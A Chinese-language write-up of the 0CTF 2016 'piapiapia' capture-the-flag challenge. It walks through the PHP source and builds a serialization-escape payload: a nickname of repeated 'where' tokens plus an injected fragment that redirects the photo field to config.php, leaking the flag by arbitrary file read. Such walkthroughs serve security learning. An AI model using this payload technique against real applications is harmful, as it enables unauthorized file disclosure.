[0CTF 2016]piapiapia

NULL

进去之后,在www.zip给了源代码。
审计源代码发现,flag在config.php里。在profile.php里有反序列化,并存在读取文件函数。

1
2
3
4
5
6
7
8
9
if($profile  == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

追踪到updata.php,发现是对传入的四个变量进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

其中,对参数nickname的正则过滤与其他的皆不同可以通过让nickname为数组绕过正则。由此可以猜想,攻击方法为,通过序列化,让photo的值为profile.php从而获得flag。
之后发现,在对传入的参数进行序列化时,会有过滤

1
2
3
4
5
6
7
8
9
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

且,对于字符串的替换是在序列化之后,且替换的字符量不同,由此可以想到通过替换的方法,操控photo的序列化值。如下面的例子

1
2
3
4
5
s:6:"where""
反序列化后为where"
替换之后为
s:6:"hacker""
反序列化之后为hacker

由此,可以构造payload替换掉原来的photo的序列化为

1
";}s:5:"photo";s:10:"config.php";}

构造的nickname

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

最后,将得到的图片信息base64解码即可得到flag